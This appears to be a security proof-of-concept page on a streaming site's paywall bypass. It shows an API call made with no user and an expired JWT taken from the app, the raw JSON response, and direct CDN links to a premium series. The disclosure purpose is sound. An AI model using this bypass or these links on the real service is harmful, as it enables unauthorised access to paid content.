SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned
The
The API returned
playingUrl for Island
with issubscriber: false, user_access: deny, and paid_for: true.The
video_name + serverhost from the API response are used to construct
the CDN URL above — confirming that the CDN file for this specific movie is
publicly accessible with no authentication.
Island
Won Mi Ho's arrogant and selfish attitude causes her father banishing her to Jeju island. Unbeknownst to her, the island is where evil roams free.
API Response Evidence — Vulnerability Proof
Endpoint called
GET /api/preview/v2/35306/0
User ID used
0 (no user / not logged in)
JWT used
Expired Feb 2024 (extracted from APK)
issubscriber
false
user_access
deny
paid_for
YES (premium content)
substatus
EXPIRED
serverhost
45
video_name
Island-IVO-1.mp4
playingUrl returned
YES — URL in response
API playingUrl value
https://munowatch.co/clips/ELI.mp4
CDN stream
https://nkuba.b-cdn.net/as86/hyu/Island-IVO-1.mp4
Finding: The server sets user_access=deny and
issubscriber=false but still returns playingUrl in the
same response. Subscription is enforced client-side only — any caller with
the expired APK JWT can obtain stream URLs without a subscription.
Munowatch CDN (b-cdn.net) serves content with no auth required
(direct HTTP Range requests succeed with HTTP 206).
{
"id": 35306,
"video_title": "Island",
"description": " Won Mi Ho's arrogant and selfish attitude causes her father banishing her to Jeju island. Unbeknownst to her, the island is where evil roams free.",
"video_name": "Island-IVO-1.mp4",
"filehistory": "",
"openload": "0",
"embedurl": "",
"serverhost": "45",
"allow_openload": "0",
"full_video_name": "",
"duration": "30h 06m",
"thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/88eU5bd1OE8762.jpg",
"tfilehistory": "",
"category_id": 5,
"language_id": 1,
"recording_date": "2023-02-16",
"age_id": "13 +",
"location": 1,
"tab_category_id": 5,
"series_code": "27253",
"access": "1",
"paid_for": "1",
"new_movie": "1",
"priority": "No",
"size": "339.76 MB",
"create_date": "2023-02-16 05:55:24",
"schedule_date": null,
"user_id": 1118356,
"vj_id": 27,
"video_status_id": 0,
"network_id": "45.221.8.174",
"user_access": "deny",
"notification": "No",
"secduration": "108360.000000",
"issubscriber": false,
"genre": "Series",
"vjname": "Vj Ivo",
"trailer_playing_url": "",
"episodes": 12,
"episode_state": "NEXT",
"nxt_eps": "EPS 2",
"nxt_eps_id": 35307,
"nxt_eps_title": "Island 2",
"nxt_ldur": 0,
"nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
"playingUrl": "https://munowatch.co/clips/ELI.mp4",
"ldur": 0,
"session_id": "cb99afb5b31411a57538a97393de0e2e",
"device": "web",
"lang_name": "English to Luganda",
"vjrelease": "3 years ago",
"mstatus": false,
"kstatus": "",
"substatus": "EXPIRED"
}